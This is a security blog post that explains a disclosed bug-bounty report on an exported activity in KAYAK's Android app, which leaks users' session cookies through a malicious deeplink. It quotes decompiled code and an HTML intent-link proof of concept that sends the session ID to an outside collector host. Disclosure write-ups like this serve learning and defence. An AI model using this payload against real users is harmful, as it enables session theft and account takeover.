One-Click Account Takeover via DEEPLINK: Exploiting Exported activities

One-Click Account Takeover via DEEPLINK: Exploiting Exported activities

Hello Hackers,

Let’s read some Cybersecurity Blog,

Today will Analyze a HackerOne Report which was related toKAYAK, it was founded by Carlos Bello, who brilliantly hack into the KAYAK application…He was able to take over any KAYAK account just by Clicking a Link.

He stumbled upon a significant security loophole in “KAYAK v161.1“, this flaw can be exploited by attackers to Steal a user’s session cookie by using a malicious deep link.

He was analyzing the AndroidManifest.xml file(The AndroidManifest.xml file provides a complete description of the application to the Android system, which helps it understand the app’s requirements and behavior), and he came across an exported activity that leads to the vulnerability.

<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>

This shows that any application installed on the same mobile device with that vulnerable version of KAYAK can interact with this activity. Furthermore, this activity can be called from a deeplink and accepts implicit intents

Analysis of ExternalAuthLoginActivity

Upon inspecting the exported activity, he discovered two critical functions:

private final String getRedirectUrl() {
String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
return stringExtra == null ? "" : stringExtra;

private final void launchCustomTabs() {
m.d b10 = new d.a(this.helper.getSession()).g(true).b();
p.d(b10, "Builder(helper.session)\n…rue)\n .build()");
Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
i.openCustomTab(this, b10, buildUpon.build(), null);

Since the activity is exported, a malicious web page through a deeplink or a malicious mobile app via an intent could set up a malicious RedirectUrl using the getRedirectUrl function. However, to make use of this behavior, we must examine the launchCustomTabs method.

This method concatenates a GET parameter to the URL, which is the mobile app user’s session cookie:

public final String getSessionId() {
String cookieValueInternal;
synchronized (this) {
cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
return cookieValueInternal;
public static final String SESSION_COOKIE_NAME = "p1.med.sid";

By logging into the web application and deleting all cookies, he obtained a request that looked like this:

GET /profile/dashboard HTTP/2
Host: www.kayak.com.co
Cookie: p1.med.sid=[Cookie Here];
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

He then uploaded the exploit to a malicious server:

<!DOCTYPE html>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://XXXXXXXXXXXXXXXXX.burpcollaborator.net;end">Exploit</a>;

Here is the Video POC

That’s it for the day, hope you enjoyed reading this…

Happy Hacking!!!

Share this post

About the author

Leave a Reply

Your email address will not be published. Required fields are marked *